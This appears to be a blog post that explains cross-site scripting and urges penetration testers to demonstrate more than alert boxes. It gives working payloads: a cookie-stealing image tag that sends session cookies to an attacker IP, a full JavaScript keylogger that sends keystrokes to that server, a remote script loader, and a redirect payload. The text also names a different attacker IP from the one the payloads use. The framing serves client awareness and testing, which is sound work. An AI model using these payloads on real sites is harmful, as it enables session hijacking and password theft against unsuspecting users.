WHAT WE CAN DO WITH XSS


Hey Frnd's .
Today we are going to see what is XSS (CROSS SITE SCRIPTING) and what we can do with XSS .

XSS or Cross-Site Scripting is dangerous and common web application vulnerability and can be categorized under the heading of an injection attack because in XSS a malicious script or syntax is injected into a web server. In simple words, cross-site scripting is an attack in which an attacker injects malicious code into a web application and the server sends this page to the browser (other users) without any validation of content. The common method or way to execute the syntax is via the guest book, contact form, search bar and other forms that allows user to enter some information.
There are mainly three types of cross-site scripting:

1 : STORED
2 : REFLECTED
3 : DOM BASED XSS

WHAT WE CAN DO WITH XSS ?

One of the most common techniques used as proof of concept (POC) for identifying XSS has been the javascript alert box. The premise is this: if an attacker can send javascript code for an alert box into the application and have it executed within the browser, then XSS is present. For example:
The attacker modifies the user parameter to contain the javascript code for an alert box:

http://target.site/welcome.php?user=Danny<script>alert('XSS')</script>

The application then responds to the request with the unfiltered javascript code inserted within the HTML:

<span>Welcome Danny<script>alert('XSS')</script>!</span> 


Which would then result in the following alert box:



The problem with this technique is not about its effectiveness, but rather that it doesn't communicate clearly the source of the issue or the possible business impacts. Consider this: if the client uses the PoC alone for remediation, they may attempt to fix their application by blacklisting both the <script> and alert strings. Does this protect them from XSS? Certainly not. Let's modify the attack to use an <img> tag and a confirm box instead:

http://target.site/welcome.php?user=Danny<img src=x onerror=confirm('XSS')> 

Which would then result in the following confirm box:


Unless the client had decided to retest the application, they would have assumed that the vulnerability had been remediated. The heart of the issue is not the alert box, but rather that the application had trusted user provided data to be processed without sanitization.

Let's look at the business impacts of XSS. Beside prompting for the user's interaction, the alert box itself doesn't pose a risk to the application. Also, based on the functionality and contents of the application being tested, the actual risk of XSS may vary greatly. With that said, there are many different attacks that go beyond the alert box in which the client should be made aware of. Here are few:

SESSION HIJACKING

A PoC could utilize XSS to steal session cookies for authenticated users and send them back to an attacker controlled server. Using our previous example and an attacker controlled server with the IP address of 5.5.5.5, it may look like this:

http://target.site/welcome.php?user=Danny<img src=x onerror=this.src='http://10.215.21.55/?cookie='+document.cookie>

The attacker would then check the logs on his server for the following request with the session cookie value:



RECORDING KEYSTROKES

If the session cookies are protected by the HttpOnly flag, then it would be effective to demonstrate a key-logger attack as the PoC. On a login page, the following javascript would collect each keystroke from the user and send it to the attacker controlled server , just make one js file with this code :

var data = '';
document.onkeypress = function(e) {
   var w = window.event ? event : e;
   var keystroke = w.keyCode ? w.keyCode : w.charCode;
   keystroke = String.fromCharCode(keystroke);
   data = data + keystroke;
}
window.setInterval(function(){
   new Image().src='http://10.215.21.55/?c=' + data; data = '';
}, 1500);

Because this code is larger than what we ideally would want to use in a GET request, the attacker could store the code in a file on his server and reference it using the <script src> attribute:

http://target.site/welcome.php?user=Danny<script src='http://10.215.21.55/keylogger.js'></script>

The attacker would then check the logs on his server and see the user's password sent over multiple requests: ThisIsMyPassword



PAGE REDIRECT

If the application does not support authentication, such as a brochure site, then the PoC could redirect the user to a page of the attacker's choosing. Some examples could be:

1 : Competitor's website
2 : Installation page for a virus or backdoor
3 : Fake login for a popular website 

The POC for this type of attack would look like the following:

http://target.site/welcome.php?user=Danny<script>document.location='http://website.com'</script>

Web technologies will always be growing and changing, and in doing so will introduce new attack vectors along the way. If we are to provide valuable testing and awareness to clients, then we need to be going beyond the alert box. It is up to us to use whichever scenario best matches the application and communicates the business impact that would speak most to the client. The goal is to provide the information in a way which will best equip them to remediate the issue. While at the same time, what you are doing is demonstrating that you have an in-depth knowledge of the vulnerability and value of your service. 

SOURCE : HP.COM

0 comments: